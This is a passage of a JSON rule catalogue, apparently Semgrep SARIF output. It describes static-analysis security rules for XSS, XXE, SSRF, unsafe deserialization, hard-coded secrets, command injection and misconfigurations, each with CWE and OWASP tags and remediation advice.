[https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/](https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/)\n - [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)\n","text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","id":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","name":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"help":{"markdown":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html)\n - [https://www.npmjs.com/package/react-markdown#security](https://www.npmjs.com/package/react-markdown#security)\n","text":"Overwriting `transformLinkUri` or `transformImageUri` to something insecure, or turning `allowDangerousHtml` on, or turning `escapeHtml` off, will open the code up to XSS vectors."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","id":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","name":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Outlook Team detected"},"help":{"markdown":"Outlook Team detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Outlook Team detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-outlook-team.detected-outlook-team","id":"generic.secrets.security.detected-outlook-team.detected-outlook-team","name":"generic.secrets.security.detected-outlook-team.detected-outlook-team","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-outlook-team.detected-outlook-team"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string)\n - [https://bugs.python.org/issue43472](https://bugs.python.org/issue43472)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","id":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","name":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"help":{"markdown":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval)\n - [https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen](https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen)\n","text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval","id":"python.lang.security.audit.logging.listeneval.listen-eval","name":"python.lang.security.audit.logging.listeneval.listen-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.listeneval.listen-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"help":{"markdown":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n","text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","id":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","name":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","id":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","name":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle","id":"python.lang.security.deserialization.pickle.avoid-cPickle","name":"python.lang.security.deserialization.pickle.avoid-cPickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-cPickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"help":{"markdown":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n","text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","id":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","name":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `math/rand`. Use `crypto/rand` instead."},"help":{"markdown":"Do not use `math/rand`. Use `crypto/rand` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation)\n","text":"Do not use `math/rand`. Use `crypto/rand` instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used","id":"go.lang.security.audit.crypto.math_random.math-random-used","name":"go.lang.security.audit.crypto.math_random.math-random-used","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.math_random.math-random-used"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Secret Access Key detected"},"help":{"markdown":"AWS Secret Access Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Secret Access Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","id":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","name":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","id":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","name":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run)\n - [https://deno.land/manual/examples/subprocess#simple-example](https://deno.land/manual/examples/subprocess#simple-example)\n","text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","id":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","name":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","id":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","name":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","id":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","name":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"help":{"markdown":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing)\n - [https://www.npmjs.com/package/serve-index](https://www.npmjs.com/package/serve-index)\n - [https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/](https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/)\n","text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","id":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","name":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","properties":{"precision":"very-high","tags":["CWE-548: Exposure of Information Through Directory Listing","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted 